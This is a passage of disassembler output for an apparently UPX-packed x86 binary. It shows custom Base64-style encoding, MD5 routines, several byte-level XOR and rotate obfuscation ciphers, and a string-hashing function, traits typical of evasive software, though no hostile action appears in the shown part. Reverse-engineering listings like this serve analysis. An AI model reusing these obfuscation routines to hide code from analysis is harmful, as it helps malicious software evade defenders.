[ebp+var_5], 0 and [ebp+var_1089], 0 lea eax, [ebp+var_118C] push eax lea eax, [ebp+var_1148] push eax lea eax, [ebp+var_1108] push eax lea eax, [ebp+var_84] push eax push [ebp+var_4] call sub_40D871 add esp, 14h locret_40E941: ; CODE XREF: sub_40E618:loc_40E686j leave retn sub_40E618 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E943 proc near ; CODE XREF: UPX0:00416ABAp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_40E94E: ; CODE XREF: sub_40E943+32j mov eax, [ebp+var_4] mov [ebp+var_8], eax mov eax, [ebp+var_8] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40E960 jmp short locret_40E977 ; --------------------------------------------------------------------------- loc_40E960: ; CODE XREF: sub_40E943+19j push [ebp+var_8] call sub_407B5E pop ecx mov [ebp+var_4], eax push [ebp+var_8] call sub_40E618 pop ecx jmp short loc_40E94E ; --------------------------------------------------------------------------- locret_40E977: ; CODE XREF: sub_40E943+1Bj leave retn sub_40E943 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E979 proc near ; CODE XREF: UPX0:004168D5p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_40E98A ; --------------------------------------------------------------------------- loc_40E983: ; CODE XREF: sub_40E979+24j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40E98A: ; CODE XREF: sub_40E979+8j cmp [ebp+var_4], 100h jnb short loc_40E99F mov eax, [ebp+var_4] and ds:byte_41EA80[eax], 0 jmp short loc_40E983 ; --------------------------------------------------------------------------- loc_40E99F: ; CODE XREF: sub_40E979+18j and [ebp+var_4], 0 jmp short loc_40E9AC ; --------------------------------------------------------------------------- loc_40E9A5: ; CODE XREF: sub_40E979+4Cj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40E9AC: ; CODE XREF: sub_40E979+2Aj cmp [ebp+var_4], 40h jnb short locret_40E9C7 mov eax, [ebp+var_4] movzx eax, ds:byte_41A18C[eax] mov cl, byte ptr [ebp+var_4] mov ds:byte_41EA80[eax], cl jmp short loc_40E9A5 ; --------------------------------------------------------------------------- locret_40E9C7: ; CODE XREF: sub_40E979+37j leave retn sub_40E979 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E9C9 proc near ; CODE XREF: sub_40A9CF+34Cp ; sub_40A9CF+E18p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 2 jnb short loc_40E9E8 xor eax, eax jmp locret_40EB4C ; --------------------------------------------------------------------------- loc_40E9E8: ; CODE XREF: sub_40E9C9+16j and [ebp+var_4], 0 and [ebp+var_8], 0 loc_40E9F0: ; CODE XREF: sub_40E9C9+17Aj push 1 pop eax test eax, eax jz loc_40EB48 mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] inc eax cmp eax, [ebp+var_C] jnb short loc_40EA29 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, ds:byte_41EA80[eax] shl eax, 2 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov [ecx-1], al jmp short loc_40EA2E ; --------------------------------------------------------------------------- loc_40EA29: ; CODE XREF: sub_40E9C9+40j jmp loc_40EB48 ; --------------------------------------------------------------------------- loc_40EA2E: ; CODE XREF: sub_40E9C9+5Ej mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+var_C] jnb short loc_40EA66 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, ds:byte_41EA80[eax] sar eax, 4 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov cl, [ecx-1] or cl, al mov eax, [ebp+arg_4] add eax, [ebp+var_4] mov [eax-1], cl jmp short loc_40EA6B ; --------------------------------------------------------------------------- loc_40EA66: ; CODE XREF: sub_40E9C9+72j jmp loc_40EB48 ; --------------------------------------------------------------------------- loc_40EA6B: ; CODE XREF: sub_40E9C9+9Bj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] inc eax cmp eax, [ebp+var_C] jnb short loc_40EA99 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, ds:byte_41EA80[eax] shl eax, 4 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov [ecx-1], al jmp short loc_40EA9E ; --------------------------------------------------------------------------- loc_40EA99: ; CODE XREF: sub_40E9C9+B0j jmp loc_40EB48 ; --------------------------------------------------------------------------- loc_40EA9E: ; CODE XREF: sub_40E9C9+CEj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+var_C] jnb short loc_40EAD6 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, ds:byte_41EA80[eax] sar eax, 2 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov cl, [ecx-1] or cl, al mov eax, [ebp+arg_4] add eax, [ebp+var_4] mov [eax-1], cl jmp short loc_40EAD8 ; --------------------------------------------------------------------------- loc_40EAD6: ; CODE XREF: sub_40E9C9+E2j jmp short loc_40EB48 ; --------------------------------------------------------------------------- loc_40EAD8: ; CODE XREF: sub_40E9C9+10Bj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] inc eax cmp eax, [ebp+var_C] jnb short loc_40EB06 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, ds:byte_41EA80[eax] shl eax, 6 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov [ecx-1], al jmp short loc_40EB08 ; --------------------------------------------------------------------------- loc_40EB06: ; CODE XREF: sub_40E9C9+11Dj jmp short loc_40EB48 ; --------------------------------------------------------------------------- loc_40EB08: ; CODE XREF: sub_40E9C9+13Bj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+var_C] jnb short loc_40EB3A mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov cl, [ecx-1] or cl, ds:byte_41EA80[eax] mov eax, [ebp+arg_4] add eax, [ebp+var_4] mov [eax-1], cl jmp short loc_40EB3C ; --------------------------------------------------------------------------- loc_40EB3A: ; CODE XREF: sub_40E9C9+14Cj jmp short loc_40EB48 ; --------------------------------------------------------------------------- loc_40EB3C: ; CODE XREF: sub_40E9C9+16Fj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax jmp loc_40E9F0 ; --------------------------------------------------------------------------- loc_40EB48: ; CODE XREF: sub_40E9C9+2Cj ; sub_40E9C9:loc_40EA29j ... mov eax, [ebp+var_4] dec eax locret_40EB4C: ; CODE XREF: sub_40E9C9+1Aj leave retn sub_40E9C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EB4E proc near ; CODE XREF: sub_40A9CF+292p ; sub_40A9CF+D12p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch and [ebp+var_4], 0 and [ebp+var_8], 0 and [ebp+var_C], 0 loc_40EB60: ; CODE XREF: sub_40EB4E:loc_40EC83j mov eax, [ebp+arg_0] add eax, [ebp+var_8] movzx eax, byte ptr [eax] sar eax, 2 mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, ds:byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] shl eax, 4 and eax, 30h mov [ebp+var_4], al mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnz short loc_40EBC2 movzx eax, [ebp+var_4] or al, 1 mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, ds:byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax jmp loc_40EC88 ; --------------------------------------------------------------------------- loc_40EBC2: ; CODE XREF: sub_40EB4E+52j movzx eax, [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx] sar ecx, 4 and ecx, 0Fh or eax, ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, ds:byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] shl eax, 2 and eax, 3Ch mov [ebp+var_4], al mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnz short loc_40EC2A movzx eax, [ebp+var_4] or al, 1 mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, ds:byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax jmp short loc_40EC88 ; --------------------------------------------------------------------------- loc_40EC2A: ; CODE XREF: sub_40EB4E+BDj movzx eax, [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx] sar ecx, 6 or eax, ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, ds:byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] movzx eax, byte ptr [eax] and eax, 3Fh mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, ds:byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnz short loc_40EC83 jmp short loc_40EC88 ; --------------------------------------------------------------------------- loc_40EC83: ; CODE XREF: sub_40EB4E+131j jmp loc_40EB60 ; --------------------------------------------------------------------------- loc_40EC88: ; CODE XREF: sub_40EB4E+6Fj ; sub_40EB4E+DAj ... mov eax, [ebp+arg_4] add eax, [ebp+var_C] and byte ptr [eax], 0 mov eax, [ebp+var_C] leave retn sub_40EB4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EC96 proc near ; CODE XREF: sub_40A9CF+2FAp ; sub_40E618+FDp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_8], eax and [ebp+var_4], 0 jmp short loc_40ECB4 ; --------------------------------------------------------------------------- loc_40ECAD: ; CODE XREF: sub_40EC96+3Aj ; sub_40EC96+4Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40ECB4: ; CODE XREF: sub_40EC96+15j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jge short loc_40ECE6 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] movzx eax, ds:byte_41EA80[eax] test eax, eax jz short loc_40ECD2 jmp short loc_40ECAD ; --------------------------------------------------------------------------- loc_40ECD2: ; CODE XREF: sub_40EC96+38j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 41h jnz short loc_40ECE2 jmp short loc_40ECAD ; --------------------------------------------------------------------------- loc_40ECE2: ; CODE XREF: sub_40EC96+48j xor eax, eax jmp short locret_40ECE9 ; --------------------------------------------------------------------------- loc_40ECE6: ; CODE XREF: sub_40EC96+24j push 1 pop eax locret_40ECE9: ; CODE XREF: sub_40EC96+4Ej leave retn sub_40EC96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ECEB proc near ; CODE XREF: UPX0:004168EFp var_58 = byte ptr -58h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi lea eax, [ebp+var_58] push eax call sub_40F11F pop ecx push [ebp+arg_4] push [ebp+arg_0] lea eax, [ebp+var_58] push eax call sub_40F159 add esp, 0Ch lea eax, [ebp+var_58] push eax push offset byte_41EB84 call sub_40F26E pop ecx pop ecx lea eax, byte_41EB84 push 10h pop edx loc_40ED29: ; CODE XREF: sub_40ECEB+46j mov cl, [eax] rol cl, cl mov [eax], cl inc eax dec edx jnz short loc_40ED29 pop edi pop esi pop ebx leave retn sub_40ECEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ED38 proc near ; CODE XREF: sub_40A9CF+14p ; sub_41113B+159p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_0] xor ecx, ecx xor eax, eax loc_40ED45: ; CODE XREF: sub_40ED38+2Fj mov cl, [esi] test ecx, ecx jz short loc_40ED69 cmp ecx, 61h jb short loc_40ED53 sub ecx, 20h loc_40ED53: ; CODE XREF: sub_40ED38+16j and ecx, 7Fh add eax, ecx and ecx, 0Fh mov cl, ds:byte_41EB84[ecx] add eax, ecx rol eax, 3 inc esi jmp short loc_40ED45 ; --------------------------------------------------------------------------- loc_40ED69: ; CODE XREF: sub_40ED38+11j pop edi pop esi pop ebx pop ebp retn sub_40ED38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ED6E proc near ; CODE XREF: UPX0:004168FDp var_58 = byte ptr -58h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi lea eax, [ebp+var_58] push eax call sub_40F11F pop ecx push [ebp+arg_4] push [ebp+arg_0] lea eax, [ebp+var_58] push eax call sub_40F159 add esp, 0Ch lea eax, [ebp+var_58] push eax push offset dword_41EB98 call sub_40F26E pop ecx pop ecx lea esi, dword_41EB98 mov edi, esi push 10h pop ecx loc_40EDAE: ; CODE XREF: sub_40ED6E+48j lodsb xor al, 0AAh add al, al or al, 1 stosb loop loc_40EDAE pop edi pop esi pop ebx leave retn sub_40ED6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EDBD proc near ; CODE XREF: sub_40EF29+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_40EDCE ; --------------------------------------------------------------------------- loc_40EDC7: ; CODE XREF: sub_40EDBD+AFj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40EDCE: ; CODE XREF: sub_40EDBD+8j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jge locret_40EE71 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] sub al, 33h mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_8] movzx eax, byte ptr [eax+edx] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov ecx, [ebp+arg_8] mov al, [eax] sub al, [ecx+edx] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_8] movzx eax, byte ptr [eax+edx] not eax mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov cl, [ecx] xor cl, al mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov [eax], cl mov eax, [ebp+arg_4] cdq push 10h pop ecx idiv ecx shl edx, 2 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] xor al, dl mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] add al, 1 mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp loc_40EDC7 ; --------------------------------------------------------------------------- locret_40EE71: ; CODE XREF: sub_40EDBD+17j leave retn sub_40EDBD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EE73 proc near ; CODE XREF: sub_40EF41+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_40EE84 ; --------------------------------------------------------------------------- loc_40EE7D: ; CODE XREF: sub_40EE73+AFj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40EE84: ; CODE XREF: sub_40EE73+8j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jge locret_40EF27 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] sub al, 1 mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+arg_4] cdq push 10h pop ecx idiv ecx shl edx, 2 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] xor al, dl mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_8] movzx eax, byte ptr [eax+edx] not eax mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov cl, [ecx] xor cl, al mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov [eax], cl mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_8] movzx eax, byte ptr [eax+edx] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov ecx, [ebp+arg_8] mov al, [eax] add al, [ecx+edx] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] add al, 33h mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp loc_40EE7D ; --------------------------------------------------------------------------- locret_40EF27: ; CODE XREF: sub_40EE73+17j leave retn sub_40EE73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EF29 proc near ; CODE XREF: sub_40A9CF+25Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push offset dword_41EB98 push [ebp+arg_4] push [ebp+arg_0] call sub_40EDBD add esp, 0Ch pop ebp retn sub_40EF29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EF41 proc near ; CODE XREF: sub_40A9CF+380p ; sub_40D871+7ADp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push offset dword_41EB98 push [ebp+arg_4] push [ebp+arg_0] call sub_40EE73 add esp, 0Ch pop ebp retn sub_40EF41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EF59 proc near ; CODE XREF: sub_40A9CF+271p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push [ebp+arg_4] push [ebp+arg_0] mov eax, [ebp+arg_0] add eax, 4 push eax call sub_416B52 ; memcpy add esp, 0Ch call sub_410422 mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, 4 mov [ebp+arg_0], eax and [ebp+var_8], 0 jmp short loc_40EF91 ; --------------------------------------------------------------------------- loc_40EF8A: ; CODE XREF: sub_40EF59+7Ej mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40EF91: ; CODE XREF: sub_40EF59+2Fj mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jge short loc_40EFD9 mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] add al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] xor al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al push 1 push [ebp+var_4] call sub_416DF6 ; _lrotl pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax jmp short loc_40EF8A ; --------------------------------------------------------------------------- loc_40EFD9: ; CODE XREF: sub_40EF59+3Ej mov eax, [ebp+arg_4] dec eax mov [ebp+var_8], eax jmp short loc_40EFE9 ; --------------------------------------------------------------------------- loc_40EFE2: ; CODE XREF: sub_40EF59+D4j mov eax, [ebp+var_8] dec eax mov [ebp+var_8], eax loc_40EFE9: ; CODE XREF: sub_40EF59+87j cmp [ebp+var_8], 0FFFFFFFFh jz short loc_40F02F mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] add al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] xor al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al push 1 push [ebp+var_4] call sub_416DF6 ; _lrotl pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax jmp short loc_40EFE2 ; --------------------------------------------------------------------------- loc_40F02F: ; CODE XREF: sub_40EF59+94j mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] mov [eax-4], ecx mov eax, [ebp+arg_4] add eax, 4 leave retn sub_40EF59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F040 proc near ; CODE XREF: sub_40A9CF+366p ; sub_40D871+792p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] mov eax, [eax] mov [ebp+var_4], eax mov eax, [ebp+arg_4] sub eax, 4 push eax mov eax, [ebp+arg_0] add eax, 4 push eax push [ebp+arg_0] call sub_416E02 ; memmove add esp, 0Ch mov eax, [ebp+arg_4] sub eax, 4 mov [ebp+arg_4], eax and [ebp+var_8], 0 jmp short loc_40F07C ; --------------------------------------------------------------------------- loc_40F075: ; CODE XREF: sub_40F040+82j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40F07C: ; CODE XREF: sub_40F040+33j mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jge short loc_40F0C4 mov eax, [ebp+var_4] sub eax, [ebp+var_8] mov [ebp+var_4], eax push 1 push [ebp+var_4] call sub_416DFC ; _lrotr pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] xor al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] sub al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al jmp short loc_40F075 ; --------------------------------------------------------------------------- loc_40F0C4: ; CODE XREF: sub_40F040+42j mov eax, [ebp+arg_4] dec eax mov [ebp+var_8], eax jmp short loc_40F0D4 ; --------------------------------------------------------------------------- loc_40F0CD: ; CODE XREF: sub_40F040+D8j mov eax, [ebp+var_8] dec eax mov [ebp+var_8], eax loc_40F0D4: ; CODE XREF: sub_40F040+8Bj cmp [ebp+var_8], 0FFFFFFFFh jz short loc_40F11A mov eax, [ebp+var_4] sub eax, [ebp+var_8] mov [ebp+var_4], eax push 1 push [ebp+var_4] call sub_416DFC ; _lrotr pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] xor al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] sub al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al jmp short loc_40F0CD ; --------------------------------------------------------------------------- loc_40F11A: ; CODE XREF: sub_40F040+98j mov eax, [ebp+arg_4] leave retn sub_40F040 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F11F proc near ; CODE XREF: sub_40ECEB+Dp ; sub_40ED6E+Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov dword ptr [eax], 67452301h mov eax, [ebp+arg_0] mov dword ptr [eax+4], 0EFCDAB89h mov eax, [ebp+arg_0] mov dword ptr [eax+8], 98BADCFEh mov eax, [ebp+arg_0] mov dword ptr [eax+0Ch], 10325476h mov eax, [ebp+arg_0] and dword ptr [eax+10h], 0 mov eax, [ebp+arg_0] and dword ptr [eax+14h], 0 pop ebp retn sub_40F11F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F159 proc near ; CODE XREF: sub_40ECEB+1Dp ; sub_40ED6E+1Dp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] mov eax, [eax+10h] mov [ebp+var_4], eax mov eax, [ebp+arg_8] mov ecx, [ebp+var_4] lea eax, [ecx+eax*8] mov ecx, [ebp+arg_0] mov [ecx+10h], eax mov eax, [ebp+arg_0] mov eax, [eax+10h] cmp eax, [ebp+var_4] jnb short loc_40F18E mov eax, [ebp+arg_0] mov eax, [eax+14h] inc eax mov ecx, [ebp+arg_0] mov [ecx+14h], eax loc_40F18E: ; CODE XREF: sub_40F159+26j mov eax, [ebp+arg_8] shr eax, 1Dh mov ecx, [ebp+arg_0] mov ecx, [ecx+14h] add ecx, eax mov eax, [ebp+arg_0] mov [eax+14h], ecx mov eax, [ebp+var_4] shr eax, 3 and eax, 3Fh mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_40F21C mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] lea eax, [ecx+eax+18h] mov [ebp+var_8], eax push 40h pop eax sub eax, [ebp+var_4] mov [ebp+var_4], eax mov eax, [ebp+arg_8] cmp eax, [ebp+var_4] jnb short loc_40F1E8 push [ebp+arg_8] push [ebp+arg_4] push [ebp+var_8] call sub_416B52 ; memcpy add esp, 0Ch jmp locret_40F26C ; --------------------------------------------------------------------------- loc_40F1E8: ; CODE XREF: sub_40F159+77j push [ebp+var_4] push [ebp+arg_4] push [ebp+var_8] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] add eax, 18h push eax push [ebp+arg_0] call sub_40F3CE pop ecx pop ecx mov eax, [ebp+arg_4] add eax, [ebp+var_4] mov [ebp+arg_4], eax mov eax, [ebp+arg_8] sub eax, [ebp+var_4] mov [ebp+arg_8], eax loc_40F21C: ; CODE XREF: sub_40F159+59j ; sub_40F159+FCj cmp [ebp+arg_8], 40h jb short loc_40F257 push 40h push [ebp+arg_4] mov eax, [ebp+arg_0] add eax, 18h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push [ebp+arg_0] call sub_40F3CE pop ecx pop ecx mov eax, [ebp+arg_4] add eax, 40h mov [ebp+arg_4], eax mov eax, [ebp+arg_8] sub eax, 40h mov [ebp+arg_8], eax jmp short loc_40F21C ; --------------------------------------------------------------------------- loc_40F257: ; CODE XREF: sub_40F159+C7j push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_0] add eax, 18h push eax call sub_416B52 ; memcpy add esp, 0Ch locret_40F26C: ; CODE XREF: sub_40F159+8Aj leave retn sub_40F159 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F26E proc near ; CODE XREF: sub_40ECEB+2Ep ; sub_40ED6E+2Ep ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] mov eax, [eax+10h] shr eax, 3 and eax, 3Fh mov [ebp+var_8], eax mov eax, [ebp+var_8] mov ecx, [ebp+arg_4] lea eax, [ecx+eax+18h] mov [ebp+var_4], eax mov eax, [ebp+var_4] mov byte ptr [eax], 80h mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax push 3Fh pop eax sub eax, [ebp+var_8] mov [ebp+var_8], eax cmp [ebp+var_8], 8 jnb short loc_40F2E1 push [ebp+var_8] push 0 push [ebp+var_4] call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_4] add eax, 18h push eax push [ebp+arg_4] call sub_40F3CE pop ecx pop ecx push 38h push 0 mov eax, [ebp+arg_4] add eax, 18h push eax call sub_416B6A ; memset add esp, 0Ch jmp short loc_40F2F5 ; --------------------------------------------------------------------------- loc_40F2E1: ; CODE XREF: sub_40F26E+3Bj mov eax, [ebp+var_8] sub eax, 8 push eax push 0 push [ebp+var_4] call sub_416B6A ; memset add esp, 0Ch loc_40F2F5: ; CODE XREF: sub_40F26E+71j push 8 mov eax, [ebp+arg_4] add eax, 10h push eax mov eax, [ebp+arg_4] add eax, 50h push eax call sub_40F33F add esp, 0Ch mov eax, [ebp+arg_4] add eax, 18h push eax 